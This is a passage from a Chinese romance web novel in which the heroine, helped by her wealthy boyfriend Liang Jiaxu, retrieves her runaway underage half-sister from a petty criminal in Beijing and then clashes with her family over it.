瞧她那大明星的架势,钱晓语撞她肩膀,啧啧道:“哎哟,我们大明星好忙噢。” 虞南星挑眉一笑:“老娘迟早混到一线给你好看!” 孟尘萦笑得不行,得知她们的近况都很好,就很放心了。 虞南星主动进行刚才讨论了一半的话题,“所以你跑到那种国外的乡下小镇,也能被梁公子找到?萦萦,说实话,我的确很吃惊了。” 孟尘萦慢吞吞喝了一口果汁。 现在跟好姐妹聚在一起吃烤肉,让她有一种很荒唐的错觉。 似乎在国外的一年半只是她的一场梦。 兜兜转转,她还是回到了原来的生活,身边的男人还是梁嘉序,周围还是原来的那些朋友。 虞南星说:“我跟谭延晋好过几个月,那几个月我靠他的关系参与了不少酒局应酬,见识的他那样门槛的公子哥实在多得数不胜数,像梁公子这样的,说实话,我没碰过。” 孟尘萦没听明白。 虞南星夹了一片烤肉放在她碟子上,认真说:“我从没听说梁公子有什么花边新闻,他虽然名气很响亮,在其实在圈内算很神秘的,但目前只有一件事在圈内传开了。” “什么事?” 见孟尘萦竟然好奇追问,虞南星意外地挑了挑眉,哟呵道:“怎么,你对梁公子感兴趣了?我以前要跟你讲他的事,你都不乐意听。” 孟尘萦眼神瞥开:“不讲算了,我也不是那么想听。” “哟,瞧给你傲娇的。”虞南星扑过去掐她脸颊,“好奇就直说嘛,我告诉你就是了,反正那传说也是关于你。” “关于我什么啊?” 虞南星:“京圈里现在有谁不知道梁公子为了你,那一年多全世界到处飞啊。” 孟尘萦没表什么态,只默默听着。 “我了解的也不是全部,都是道听途说,听闻他为了你花费了不少心思和精力,那一年多,他在天上呆的时间可不算少。我自己觉得,能让他那样的人给你花钱并不算什么,他最不缺的就是钱,但梁嘉序却愿意为了耗尽时间和精力只为了找到费劲心思逃离他身边的人,这事儿,我自己觉得,世上没几个男人能做到。” 孟尘萦垂眸,淡声说:“或许吧。” 其实要说没触动是不可能的。 但那点触动,不足以让她觉得,她必须要感动到感谢梁嘉序。 毕竟这段感情,从一开始就是他的勉强,她不愿意。 钱晓语沉默了会,主动道:“我觉得萦萦的感受是最重要的,那些事又不是萦萦拿枪抵着他脑袋逼他做的。” 孟尘萦被逗笑了。 虞南星没多发言,偶尔接了几个电话,很忙碌的样子。 孟尘萦随口问她:“对了,我刚听你说跟谭延晋交往了几个月,你们当时怎么在一起的啊?” 虞南星不以为意道:“就突然在一个聚会看对眼了,但我可告诉你,是谭延晋先来撩我的,后来我才知道,他是喜欢我这双眼睛,有次喝醉了说我的眼睛让他觉得像个故人。” 眼睛?孟尘萦细细打量她那双眼。 大抵因为她跟虞南星相处太久,以往看的更多是素颜就没注意过,今天虞南星的妆容很精致,上了眼妆后,眉眼更加艳丽勾人。 隐约间,让她看到了几分舒锦的影子。 她皱了皱眉。 心里渐渐浮升起自己觉得很离谱的念头。 所以,虞南星和谭延晋的交往,并不是梁嘉序想在她身边按眼线,才蓄意撮合的? 那一直以来,都是她误会他了么? 第66章 第 66 章 值得。 春三月, 暖意融融,西口街道路中车子缓缓行驶,工作日的下午人流量不算很大。孟尘萦刚从烘焙室出来, 就接到了母亲许乐芳的电话。 她出国的那一年多里,因为担心许乐芳联系不上她,特地拜托孟华淳跟她母亲说自己跟他暂时出了国。 回了京市后, 她有发过一条朋友圈动态。 许乐芳也知道她回来了。 但,她都回京市快两个月, 这还是她母亲第一次跟她打电话。 孟尘萦找了个安静的环境接听。 “妈。” 电话那头,许乐芳语气很焦急, 连铺垫都没有直接道:“萦萦啊, 你在京市对吧,妈妈这边有个要紧的事实在是没办法了才只能找你。” 孟尘萦背靠墙壁, 嗯了声:“您说。” 许乐芳吞吐道:“你妹妹她……” “芷芷怎么了?” 孟尘萦听到电话那头有蓝建平焦急催促的声音,许乐芳连忙回复:“芷芷她离家出走了, 是去了京市。” “离家出走?”孟尘萦震惊道:“怎么会啊?她不是在读高三, 今年就要高考了吗?” 许乐芳语气由急切到哽咽:“是啊, 但你妹妹她……” “到底怎么了?” 许乐芳没再想瞒下去,气急道:“她几个月前跟一个小混混交往了, 从那之后性情大变, 书也不读了, 经常翘课跟那个小混混鬼混,我和你叔叔为这事不知道教训了她多少回,前两天这孩子生气之下瞒着我们,为了那个小混混跑到京市去,彻底跟我们断了连。” “妈妈现在是实在没办法了,你蓝叔叔虽然有熟人在京市, 但京市太大,找一个人就是大海捞针。最重要的是,这有关芷芷的名声,我和你蓝叔叔也不敢随便找人托付。萦萦,你在京市这么多年肯定有人脉帮忙找到你妹妹对不对?” 孟尘萦说:“您先跟我说清楚芷芷离家出走的具体情况。” 许乐芳把自己知道的消息都说了,那小混混有二十四岁,是京市人,目前没工作,他跟狐朋狗友来涟云玩,瞧上了蓝芷就赖着不走,每天在蓝芷学校附近蹲守,因此两人才有了交集。 事情远远比孟尘萦想的还要严重。 一个十几岁的妙龄女孩,被一个不学无术的混账东西骗到了大都市,往好点的方向想可能是为情私奔,要真遇到的是罪犯歹徒,把蓝芷骗去卖掉,或者性命都有丢掉的可能。 许乐芳哭着说:“萦萦,你救救你妹妹吧,妈妈求你了。” “你妹妹还没成年,她小时候被我们保护的太好,性格太单纯,对什么人都没有防备之心,她没你那么聪明可以保护自己,现在跟着一个小混混在京市还不知道要被怎么欺负。” 孟尘萦沉着道:“妈……我去报警。” 蓝建平急忙抢过手机,“不能报警!这是芷芷主动跟着小混混私奔,是她自己同意的情况下离开,要是报警闹大了,整个涟云都会知道这件丑事,你想你妹妹今后被人指指点点吗?” 孟尘萦脸色微冷:“蓝叔叔,是芷芷的性命重要,还是她的名声和你的名声重要?” 蓝建平后槽牙一紧。 许乐芳夺过手机,“萦萦,你先尽快找到你妹妹再说,你蓝叔叔是太着急了才对你语气不好,他平时不这样,对了,我听初皓说你在京市交往了一个很不错的男朋友,妈妈也不太懂是什么身份,但妈妈想……你是不是可以拜托你男朋友的能力找到芷芷啊?” 孟尘萦沉默片刻:“我知道了,你放心吧,芷芷是我妹妹,我不会不管她,有什么消息我尽快联系您。” “萦萦,妈妈谢谢你。” 挂断电话,孟尘萦找了个位置坐下来。 她总算明白,为什么她妈妈会主动给她打电话了。 原来是听说她交往了个很不错的男朋友,想利用她男朋友的能力啊。 但现在不是她暗自失落的时候。 蓝芷毕竟是出了大事,现在一分一秒都是关键,孰轻孰重她分得清,况且梁嘉序的确很有能力,她除了找他帮忙再没办法。 孟尘萦给梁嘉序打了个电话。 他正在会议中,电话是助理接听的。 助理听闻后,连忙安抚:“孟小姐,您别担心,梁先生虽然正在进行会议中,但这件事我可以立刻帮您吩咐下去,有什么消息,我再及时通知您。” “谢谢你,谢谢。” 助理道:“您别谢,您的事梁先生看的比命还重要,梁先生说过,无论您提的什么要求,他不在的时候都要第一时间配合您。” 孟尘萦心里微动,嗯了声。 “麻烦你们了。”- 梁嘉序的人脉的确在京市可以横着走的程度,找个小混混不费吹灰之力。 助理来消息的时候,孟尘萦还在工作中,她放下手中的活,接了电话。 “孟小姐,您妹妹已经找到了,但目前梁先生的会议还有半小时才结束,梁先生让我跟您说一声,您先留在店里,等他会议结束过来接您,你们再一起过去。” 孟尘萦抿唇:“你先告诉我在哪儿吧。” 助理没多想,把地址发到她的微信。 俞胜路海悦小区8栋301,离这里并不远。 从她这坐车过去,约莫二十分钟就可以抵达。 因老式小区,物业对外来人员看远并不严格,孟尘萦很简单就找到了居所。 三楼。 她站在门口按响门铃,许久都没人开门。 就在她以为家里现在没人的时候,房门不紧不慢打开了。 门开的男人上身赤.裸,下身就一条黑裤,腰际露出了藏蓝色的裤头。 一头银白色的头发凌乱竖着,像很久没打理,左边耳朵好几个耳洞,脖子有几处吻痕。 站姿歪扭,十足十不良混混的模样。 “找谁啊?” 男人不耐烦问。 孟尘萦心里一沉,“我问下,蓝芷是不是……” 话还没说完,孟尘萦便在门缝里,看到了一个熟悉的人影。 蓝芷衣衫不整,刚从屋里出来。 孟尘萦脑子瞬间短路了片刻。 她从没想过,在她心里还是个小妹妹的蓝芷,竟然会有这样的一面。 懵过之后,愤怒就涌上心头。 她顾不上那么多,嘭地一下,用力推开门,直接闯了进去。 那男人一个不妨,被她撞得连退几步远,还没反应过来,孟尘萦已冲进屋,一把捉住蓝芷的手腕,“跟我回去!” 蓝芷大惊失色:“姐?姐你怎么来了?” 孟尘萦面色冰冷,没回话,直接一把拿起沙 发上的外套给蓝芷穿好,强行拽她出去。 蓝芷死死抱住沙发一角,慌张喊道:“亚杰哥,你救我啊,我不想回去!” 门口的男人愤怒冲过来,拽住蓝芷另一只手,“你干什么?你是谁啊,凭什么闯我家来,信不信我报警!” 孟尘萦目光冷厉:“报警啊,你报警,正好我也要跟警察举报你是怎么引诱未成年少女的!” “你知道蓝芷还没十八岁吗?她还是一个高三的学生,正是学业最关键的时候,你把一个小姑娘拐了出来,你还有胆子报警?” 孔亚杰面色一慌,又扯着嗓子吼:“你谁啊?我跟芷芷是真心相爱的男女朋友,关你屁事啊!你凭什么管那么多?” 孟尘萦冷声道:“凭我是她亲姐!” 孔亚杰傻眼,看向蓝芷:“没听说你有个姐姐啊?” 蓝芷身子往后躬,做出抗拒离开的姿势,惧怕道:“她是我同母异父的姐,但……我姐都早就搬出去了,而且也一年多没回来,也根本不跟我联系,我也不知道她怎么会突然过来。” 孟尘萦扭过头看她:“芷芷,妈妈打电话到我这了,她很担心你,你跟我回去,行么?” 蓝芷撇嘴,不开心道:“我给妈妈留信了啊,我只是跟亚杰哥出来玩几天,玩够了就回去,至于吗?还让你找过来,一副要捉奸似的。” “姐,你回去吧,别管我了,我已经是个大人了,有自己的思想和判断。” 孟尘萦:“我不想跟你在这说废话,现在就跟我走!” “我不!”蓝芷将求救的目光望向身旁男人:“亚杰哥,你说了会保护我的,别让我姐把我带走行么?” 孔亚杰用了猛劲把蓝芷拽过来,凶神恶煞道:“听见没?是芷芷不想跟你回去,你走吧,一个同母异父的姐姐还管这么多?” “你要是真的那么关心你妹妹,会那么多年不回家?现在装什么姐妹情深?” 蓝芷身子一抖,扯着孔亚杰,小声说:“你别说了……我跟我姐关系还是很好的……” 孔亚杰把蓝芷藏在身后,义正言辞道:“芷芷现在由我来保护,你回去告诉你父母,她是我的人了,我们是真心相爱的。” 孟尘萦像听到了笑话,面色古怪:“相爱?” 她上下扫视面前衣着暴露,形象邋遢的男人,又扫了眼这屋内放着好几天没丢的外卖盒子,和凌乱的房子。 冷声道:“芷芷才多大?你跟她提相爱?她知道什么是爱吗?你仗着她年纪小不懂事欺骗她感情,贪她年轻和单纯,拉她误入歧途,诱她跟你在这厮混,她的学业和未来你不管不顾,你良心还在吗?” 孔亚杰被劈头盖脸骂了一顿,反而嬉皮笑脸道:“姐,别介啊,两个人相爱年龄不是问题,我可以等芷芷长大,你难道不懂两个相爱的人,时时刻刻就想在一起的心情吗?” 蓝芷从他身后冒出半边脑袋,小声嘀咕:“我姐不懂,她当时跟初皓哥哥交往都完全不黏初皓哥哥,我怀疑她根本就没有心。” 孟尘萦冷漠注视她:“跟不跟我回去?” 蓝芷大声:“我不!” 孟尘萦没再多言,这次强行动手把蓝芷拽出来,孔亚杰见状,也连忙阻拦。 “亚杰哥救我,我不跟我姐回去!” 门还开着,路过的邻居因为好奇悄悄朝里面看了眼。 孟尘萦趁机用力推了一把孔亚杰,又抓住蓝芷,把她拉出去。 正要拉到门口的时候,孔亚杰从沙发上爬起来,抄起桌上的一个ipad要朝孟尘萦砸来。 千钧一发之际,半开的房门被猛地踹开。 孟尘萦尚未反应过来,孔亚杰就从她面前飞了回去。 门口的男人进屋,抬腿朝摔倒的孔压杰胸口踩了一脚。 背影暗沉,挺括。 是梁嘉序。 孔亚杰被几下打趴,手死死抓着梁嘉序的皮鞋,被踩到气都要喘不过来。 蓝芷吓到尖叫一声,用了蛮劲挣脱束缚,冲过去扶住孔亚杰。 “亚杰哥!亚杰哥!你没事吧?” 梁嘉序转身,目光看向孟尘萦:“伤着没?” 孟尘萦摇头,正要说话。 这时谁也没想到,蓝芷会忽然发疯,搬起一把板凳用力朝梁嘉序身后砸落。 孟尘萦失声喊了出来。 为时已晚。 板凳猛地砸至梁嘉序的后背,他腰身未曾动弹,只脸色阴沉。 蓝芷被自己举动吓到,啪地一下松开,板凳哐当倒地。 孟尘萦跑过去扶住梁嘉序。她不知道伤势如何,又不敢按住他背,想先检查他后背。 他摇头说没事。 怎么会没事?那么厚的板凳硬生生砸向背脊,她都听到骨头被磕碰的声响了。 孟尘萦心中火气噌地一下被点燃。 她看向还在茫然无措的蓝芷,上前,猛地抽了她一耳光。 “啪”地一声。 极其响亮的巴掌声。 蓝芷脸被打地一偏,瞬间红肿了起来。 她难以置信捂住脸庞,泪流满面:“姐……你打我?” 孟尘萦冷若冰霜:“谁让你动手打人的?” 蓝芷崩溃到嚎啕大哭:“他先打我男朋友!还把脚踩我男朋友身上,把他都打吐血了!” “我反击凭什么不行?你竟然为了外人打我?” “我要跟妈妈说你欺负我!” 孟尘萦:“随你怎么说,现在就跟我走!” “我不!” 梁嘉序握住孟尘萦微抖的手腕:“不必强行把你妹带走了。” 孟尘萦目光先是落在他后背上,自己都没控制的露出担忧神色,才问:“为什么?” 梁嘉序没应,侧过身,居高临下看向孔亚杰:“年纪轻轻背了不少案底啊,看来是不介意去一趟派出所了。” 孔亚杰捂着胸口费劲站起来:“你……你胡说,我是良民!” “这话儿你去派出所解释。” 梁嘉序喊助理进来。 助理强行按着孔亚杰,把他压上车送去派出所,蓝芷见状哭着追了出去。 孟尘萦担心妹妹跑了。 梁嘉序淡声:“别紧张,外面有人扣住你妹妹,先把他俩分开再说。” 孟尘萦担心蓝芷的精神状态…… 梁嘉序:“难道你想看到你妹妹跟那个小混混跑到你找不到的地方?” “不想。” “那就别管了。”梁嘉序脸色还是很冷:“你已经把自己该做的做了,剩下的不归你管。孟尘萦,你只是她同母异父的姐姐,不是她父母,懂么?” 孟尘萦慢半拍地喔了声。 再抬眸去看他。 这时候才意识到,究竟是哪里不对劲。 梁嘉序从来了后,对她的态度……似乎是冷淡中夹杂着愤怒。 他在生气。 – 车子还停在这个小区没走,因为蓝芷还在闹。 两人干脆上了车。 从进车后,梁嘉序仍是冷脸,看向窗外。 孟尘萦心里也微妙地紧张,因为他的冷脸,让她不敢主动跟他说话。 从维利斯特重逢后,他从没对她摆过这样的神色。 冷得像是把她关在他的世界之外。 孟尘萦视线又看向他后背。 他才从会议中结束,穿了身深色西装,外面看不出来受没受伤。 她想,应该是受伤了。 梁嘉序是人,又不是机器。 孟尘萦放在膝上的手蜷缩起来,慢慢靠近他。 “阿序……” 梁嘉序眼帘轻抬。 又来示好了,只有这种时候才会这样叫他。 他没应。 孟尘萦又主动道:“你把衣服脱了,我给你看看伤口好不好?” 就在她以为梁嘉序还不会理她时,他动作不紧不慢褪下西装外套,接着,开始解衬衣纽扣。 一颗一颗,直到整件黑色衬衫从他身上滑落。 孟尘萦目光落至他后背,神色微凝。 眼前有一大片红痕。 她不禁倒吸一口凉气,“这么严重吗?” 梁嘉序淡笑:“是吗,看不到。” 他语气淡淡的听不出情绪。 孟尘萦顿时良心过不去,想起车上有紧急的医药箱,翻了圈,果然找到了治疗淤青的药油。 她说:“我给你上药,好不好?” 梁嘉序嗯了声。 很配合地侧过身子,后背对着她。 孟尘萦用湿纸巾清洁干净双手,再把药油倒在手里,轻柔地触碰他的背,边碰边问:“疼么?” “要不咱们还是去医院吧?让医生给你看看。” 梁嘉序闭着眼:“不去。” 孟尘萦轻咬唇瓣,“那,你哪里疼了要说一声啊。” “嗯。” 她打量他侧脸神色,轻轻往伤部触碰。 “疼么?” “不疼。” 她接着往下,“疼么?” 他说不疼。 一点点地这样试探。 但这片伤比孟尘萦想象中还要面积大,她没想到蓝芷那么瘦的小女生竟然会下手那么重。 肩胛骨下,还有一片淤红。 她缓慢的涂抹,心情也无比沉重。 这已经是数不清多少次,每当她危险的时候,梁嘉序都能及时出现保护她。 素白的手指轻柔地给他按揉。 孟尘萦放轻声音,说:“对不起。” 梁嘉序撩起眼皮,车窗上映出女孩白皙的面容,及她眼底的愧疚与自责。 明明是在主动向他示好,他却觉得整颗心像是被搅拌了一下,哪儿都不是滋味。 孟尘萦说:“你让我等你一起去,我没等,你是在生这个气么?” 梁嘉序没吭声。 她继续说:“我只是太担心芷芷了,我怕她会被欺负,所以……就没考虑那么多,是我不对。” “我不该不等你。” 孟尘萦低头给他轻轻擦着药,本背对着她的男人忽然转过身,将她拥入怀里。 “我不是想听你的自省自责。” 孟尘萦愣住,没动,任由他抱着。 梁嘉序的心脏在她脸庞边,没有任何阻挡,她能清晰地听到一下又一下很平稳的心跳声。 “孟尘萦,我是觉得不值得。” 孟尘萦眨了眨眼。 温软的脸颊贴着他,这次没有任何反驳,而是静静地,又无比乖巧问什么不值得。 梁嘉序黑眸微沉,眼底掠过冷意:“跟你比起来,其他人什么都不是。你妹妹也不值得你涉险,懂吗?以后出这种事,我会叫人帮你去摆平,你不用自己出马。” 他说这话时,语气冷冽,但孟尘萦的心却好像一下被攥紧,那瞬间感觉极其陌生,她微妙地感受到一股酸涩在心尖细微的翻涌,将她冲击。 她手指一点点收拢,低低嗯了声。 她许久没说话,他也没说话。 后来,孟尘萦回过神: “你松开我,我先给你擦药。” 梁嘉序没松,拥着她柔软的身躯,眉眼意气张扬,垂眸睨她:“但你为我动手打人,这一幕倒是挺值得。” 孟尘萦耳廓微红,其实当时那个反应她自己都没想到,只是一下子火气被点燃了,大脑不受控制,就想站出来保护他。 被他这样直白戳出来,孟尘萦心里忽然有一种自己也难以启齿的羞涩在不断拉扯,小声道:“别抱这么紧啊,我手上的药油都蹭没了。” 梁嘉序低脸吻她唇瓣,舌头探了进来。 一下吮地舌尖发麻,孟尘萦念着那点理智,把手里的药紧紧攥着。 许久松开,他唇瓣抵住她,气息钻进她嘴里:“用这药更有效。” 孟尘萦脸红得要冒烟。 气急把他推开,强行把他转了个方向擦药。 因为背着,她以为看不到梁嘉序的脸。 没料,只是抬眸悄悄朝他看去,便正对上车窗里梁嘉序勾着笑的黑眸,眼尾微扬,尚未餍足的神色。 “擦好了。”孟尘萦低着头,耳朵微红,他眼神将她困住,无法挣脱。 她竟然不敢再跟他在这样狭小的空间独处,忽然想起什么,连忙开门下车,“我去安抚一下蓝芷。” 她慌张逃走。 梁嘉序视线追着她,笑意渐浓。 第67章 第 67 章 “梁嘉序,带我回去,好…… 蓝芷蹲在树底下不肯上车, 助理也不敢对一个小姑娘使用蛮力,只能站边上看着她,跟她耗。 助理听到身后有脚步声, 回头喊了声孟小姐。 蓝芷抬头看到孟尘萦,犹如见到了救命稻草,含泪道:“姐, 你帮我救一救亚杰哥好不好?” “他不是什么大奸大恶的人,他的那些案底只是小偷小摸而已, 也不是什么大问题,你别让你男人把他送去派出所好不好啊?” 蓝芷揪着孟尘萦的衣摆哭诉。 孟尘萦垂眸看她:“这些你都知道?” 蓝芷点头:“嗯, 他告诉我了, 但那些只是因为生活所迫做的事,而且他现在也改邪归正, 他说愿意为我重新做人了。姐,你信我, 我不会看错人的。” 孟尘萦蹲她面前, 温声说:“可是芷芷你知道吗?刚才我才听说, 他上周才刚犯了一起越室盗窃案逃出来,警方目前也正在抓他。” 蓝芷眼睫一颤, 泪水落下来:“上周……不会啊, 怎么会……” 孟尘萦:“警察那边也早就锁定目标了, 他前科太多,不可能会弄错。” 蓝芷不愿意相信,哭着摇头:“亚杰哥跟我说他不会再做坏事了,肯定是有什么误会,要是他真的做了坏事警方肯定会来抓他,怎么会让他逍遥法外啊?” 孟尘萦眉心微拧:“你跟他来京市后, 他一直没有出门是不是?你们屋里的外卖盒已经堆了好几天,他躲躲藏藏起来过日子,你没察觉哪里有问题?” 蓝芷接受不了现实,不断哭着摇头说不信。 孟尘萦牵着她手,柔声安抚:“芷芷,你年纪还小,这个年龄段对感情的事有好奇和向往我可以理解。但现在是你高三的关键时期,你不该这样乱来,孔亚杰就是个小混混,这种人不值得你喜欢,回家去吧,好吗?” “妈妈她很担心你。” 蓝芷抱着膝盖大声痛哭:“我不想回去,爸爸妈妈平时把我看的太严了,只有亚杰哥会带我到处玩,给我自由和依靠,跟他在一起我最放松了,我才不管什么小混混,能给我带来开心的就是好人!” 孟尘萦面色渐冷:“真的不回去?” 蓝芷也来了脾气,蛮横道:“就不回!你只是我同母异父的姐姐,你管不了我那么多!” 她站起身,拔腿就想跑。 孟尘萦也索性不跟她来软的了,让助理把人直接抓进车里。 她站在车外看向在车内不断闹腾的蓝芷,冷声道:“现在时间不早了,今晚你先在酒店住,明天我亲自把你送回涟云。” “把你交给你父母管,我的确管不了你。”- 车子开走后,孟尘萦站在原地,长舒一口气。 等再返回车里,正好听到梁嘉序在给助理打电话,吩咐助理去买药,她还以为是他身上的伤很严重,问怎么回事。 挂断电话,梁嘉序淡声:“给你妹买避孕药。” 避孕药这三个字,孟尘萦一下懵了。 梁嘉序侧眸看她:“这事我不想插手,孟尘萦,你妹是死是活我都没兴趣管,但你妈喊你来找妹妹,等她回去后真出了什么意外,你怎么办?” 孟尘萦面色一慌:“我没想那么多……” 蓝芷跟孔亚杰跑出来才几天,况且她还没成年,怎么会?在她印象里,蓝芷一直是个很聪明伶俐的女孩,不会做出这种蠢事的。 但梁嘉序说的对,这也不无可能,防一手总是对蓝芷好。 梁嘉序伸手摸她脸颊,“这么凉?别担心,我只是太清楚男人了,给你防一手,也不代表什么。” 孟尘萦嗯了声,表面不显,心里却一直在想这事。 她有点担心,担心蓝芷真要被那小混混毁了。 要不是梁嘉序想到这一点,将来真要发生点什么,会对蓝芷会造成很大的影响。 晚上回了璟兰园,孟尘萦喊家庭医生给梁嘉序看背上的伤。 医生说都是皮外伤,上了药油过段时间会自己消掉,没什么大事。 – 隔天,孟尘萦特地请了一天假,提早去酒店找蓝芷。 司机把她送到颂曼德的时候。 助理来了消息。 蓝芷早上偷偷从酒店逃跑了。 孟尘萦还没下车就收到这个消息,一时很头疼,问派出所找了没,助理说找了,但没看到蓝芷过去。 所以蓝芷应该是没去找孔亚杰。 但京市她人生地不熟,又能去哪儿? 孟尘萦担心蓝芷会出事,焦心寻找,没想到二十分钟后接到了一通陌生电话。 电话是周初皓打来,说蓝芷正在他那里。 孟尘萦握着手机,心里有点烦躁。 司机问她去哪。 孟尘萦沉默片刻,还是报出了周初皓刚发过来的住址。 半小时后,孟尘萦抵达目的地,司机在楼下等她。 看她上楼,司机主动拨了梁嘉序的电话,告知他孟尘萦现在去见了谁。 抵达二十三楼。 孟尘萦按响门铃,来开门的人是周初皓。 周初皓:“你来了?” 孟尘萦嗯了声,问:“芷芷怎么来找你了?” 周初皓让她进屋,温声道:“我的联系方式给过芷芷,她早上给我打电话让我去接她,我也不知道发生了什么,我看到芷芷的时候,她正哭的厉害。” 孟尘萦进入客厅,看到蓝芷已经换了身干净的衣服坐沙发上。 见孟尘萦这么快找来,她惊恐万分,匆忙躲在周初皓身后:“初皓哥哥,我姐已经变了,她没以前那么疼我,你可要保护我啊。” 周初皓温柔地安抚她:“芷芷,你别怕,她是你姐姐,不会伤害你的。” “才不是,我姐昨天就带着她男朋友去欺负我和跟我男朋友了!” 蓝芷委屈巴巴诉苦:“我觉得我姐就是换了新男朋友后才性情大变,她以前从不会这样欺负我!” 孟尘萦耐心尽失:“说够了吗?跟我回去,我现在把你送回涟云!” 蓝芷惊恐道:“你看吧,我姐果然来抓我了!” 周初皓皱了皱眉:“萦萦,这到底怎么回事?我没听明白,芷芷不是说来京市找你才走散的吗?” 孟尘萦不想把蓝芷的私事到处说,传出去总归对她不好,态度冷淡:“没什么,这跟你没什么关系,你只用知道,是我妈和蓝叔叔要我把她带回家的就行。” 蓝芷抱着周初皓的手臂撒娇哭泣:“初皓哥哥,你要救我,我姐已经不疼我了,她要欺负我!” 孟尘萦冲上来捉她手腕,周初皓见状也拉住蓝芷,劝和道:“萦萦,你好好说话,芷芷年纪还小,现在情绪又不稳定,这样会适得其……” 话没说完,孟尘萦冷漠注视他:“周初皓。” 周初皓心神一震,忽然觉得眼前的女孩极其陌生。 他从没听过孟尘萦用这样冰冷的声线喊他大名,这种落差让他一下无法适应。 趁他失神间,孟尘萦把蓝芷拽了过来,“芷芷跟你初皓哥哥说声谢谢,我们这就走。” 蓝芷放声大哭,脚底板死死扒着地面:“我不走!” 孟尘萦不想再拖延,没跟周初皓说话,拽着人就往外跑。 强行拖上车,孟尘萦吩咐司机直接朝涟云开往。 等抵达涟云时,已经是晚上七点了。 孟尘萦事先给许乐芳打过电话,说晚点会带蓝芷回来,夫妻二人便一直在家里等候。 屋内,许乐芳听到外面传来蓝芷闹腾的声音,连忙开门冲出去。 楼道里,蓝芷死死扒着栏杆,死活不肯进屋。 许乐芳嗓音拔高:“芷芷!” 蓝芷仰着脸,崩溃大喊:“妈妈,姐姐欺负我!” 许乐芳和蓝建平劝了一阵,才把蓝芷带进了屋里。 蓝芷哭得双眼通红,在蓝建平怀里边喝水边落泪:“爸爸,你看我的手,都被姐姐抓成这样了。” 蓝芷两双纤细的手腕,有片明显的红肿,是人的指痕。 蓝健平脸色骤然一沉,看向孟尘萦:“萦萦,你怎么对妹妹这么暴力?” 孟尘萦没吭声。 许乐芳面对一年多没见过的女儿,竟是有种近乡情怯的紧张,她轻声说:“萦萦,你辛苦了,妈妈刚做好了晚饭,还在锅里热着,就等你们一起回来吃呢。” “咱们一家人先坐下来吃顿晚饭吧。” 孟尘萦摇头:“就不吃了,我把蓝芷送回来就走。” 许乐芳觉得愧对这个女儿,主动去拉她:“你把芷芷带回来很辛苦,总不能什么都不吃就走?我们母女俩不是也很久没见了吗?” 孟尘萦慢慢挣脱开母亲的手,淡淡一笑:“真不吃了,时间不早了,我还要赶回京市。” 她接连两次拒绝许乐芳,蓝建平脸色逐渐难看:“萦萦,你忍心看你妈妈伤心吗?母女一场,一年多没见面了,她只是想跟你吃顿晚饭,就这么为难你?” 孟尘萦垂眸不语,似在想接下来的打算。 就在氛围无比僵持时,周初皓站在门外敲响了还没关上的大门。 许乐芳热情地把人招呼进屋:“初皓,你是跟萦萦一起回来的?” 孟尘萦皱眉:“你怎么来了?” 周初皓盯着她肃白的小脸,温声说:“我看你跟芷芷闹得不太愉快,担心回来会出什么事,就开车跟了过来。” 周初皓很会拉拢家庭氛围,见几个人站在客厅场面有点僵持,便活跃气氛笑着说:“我闻到饭菜香了,是不是该开饭了?” 许乐芳也顺势道:“对,开饭了快开饭,芷芷你去洗把脸,萦萦你过来,妈妈特地做了好多你爱吃的菜,你难得回来,就陪妈妈吃一顿饭,行吗?” 已经到了这个地步,再闹着要走就不礼貌。 孟尘萦看向一年多没见的母亲,还是不忍心让她露出失望的神色。 蓝芷在父亲的安抚下,渐渐恢复,没再闹情绪了。 一家人围在饭桌前,许乐芳主动给孟尘萦夹菜:“萦萦,这次辛苦你了,要是没你,你妹妹还不一定愿意回来。” 她夹了一块麻辣排骨放在孟尘萦碗里。 孟尘萦垂眸,没说话。 因为她冷漠的反应,让整个餐桌尤其尴尬,蓝芷捧着碗,脸哭得红肿,一副可怜巴巴的样子,蓝建平看了心疼,也主动给她夹菜。 蓝芷不肯吃,在饭桌上闹脾气:“妈,你知道我姐那个男朋友是怎么欺负我的吗?” 孟尘萦抬眸看她。 因为在家有人撑腰,蓝芷完全无所畏惧,哭着道:“我……我姐的男朋友让他助理给我买避孕药!” 避孕药三个字,掷地有声。 许乐芳和蓝建平的脸色,霎时间都变了,都极其难看。 就连周初皓听不明白,也觉得很尴尬。 孟尘萦冷冷地看向蓝芷。 蓝芷仍在哭诉:“我还是个没成年的小姑娘,只不过跟男朋友出去旅游几天而已,他就那样恶意揣测我跟我男朋友,还让人强行给我喂避孕药吃。妈妈,我好害怕,你都不知道,我当时多恐惧,姐也完全不管我,找到我后直接就把我丢到了酒店。” 许乐芳问:“萦萦,这是真的吗?” 孟尘萦放下碗筷:“买避孕药是真的,但……” 她话没说完,蓝建平脸更沉了,用力一拍桌:“太过分了!这种私密的事,他凭什么插手?芷芷才十几岁,让她吃这种东西考虑过芷芷的心灵和身体吗?” 许乐芳也不赞同,皱眉问:“萦萦,你也放任你男朋友这样对你妹妹?” 孟尘萦心里默默叹息,为梁嘉序解释:“妈,当时那个情况下,我不觉得他有做错,他……” 蓝建平蹭地站起来,又一次打断了孟尘萦后面的话:“你为了一个男人,把你妹妹的声誉和身体不当一回事?你知道她才十几岁吗?她还是一个高三的学生!” 蓝芷流泪说:“姐,底线我还是清楚的,我没有跟亚杰哥发生关系,那个避孕药就是在羞辱我。” 几个人一连串难听的话砸下来。 孟尘萦有片刻没吭声,脸色也越来越冷。 周初皓见这情况,主动开解:“蓝叔叔,你先别激动,应该都是误会。” 蓝建平气得胸口不断起伏,蓝芷又在旁边哭,这个场面几乎把孟尘萦架起来烤。 蓝芷边哭边骂:“姐,你那个男朋友太坏了,我讨厌他!” 孟尘萦忍无可忍,心烦得要命,随手把面前的碗筷推开,撞到了一叠菜。 “说够了吗?” 她冰冷的目光看向蓝芷:“你跟一个小混混私奔,逃到京市跟他同居,当时我找到你的时候,那个男人上身赤.裸,脖子上还有吻痕,你从他房间衣衫不整出来,我们怎么知道你们有没有做什么事?给你买避孕药是为了你着想,以防后患,我不觉得他有做错。” 蓝芷震惊地睁大眼睛,憋屈道:“姐,你这是在为了一个外人凶我吗?” 孟尘萦脱口而出:“他不是外人。” 话毕,她站起来,冷声道:“这顿饭就不吃了,外面的车子还在等。” 她推开椅子,周初皓也跟着站了起来。 她对面的位置就是周初皓,现在人也在自己面前,在离开前,她问出了自己疑惑了很久的问题。 “你是怎么回到京市的,工作调动吗?” 周初皓沉默片刻,眼神闪躲:“我退出烽耀了,目前有一个交往的还不错的女朋友……” 孟尘萦想起那天看到他时,他刚从一辆奔驰下来,顿悟。 果然,是她误会了梁嘉序。 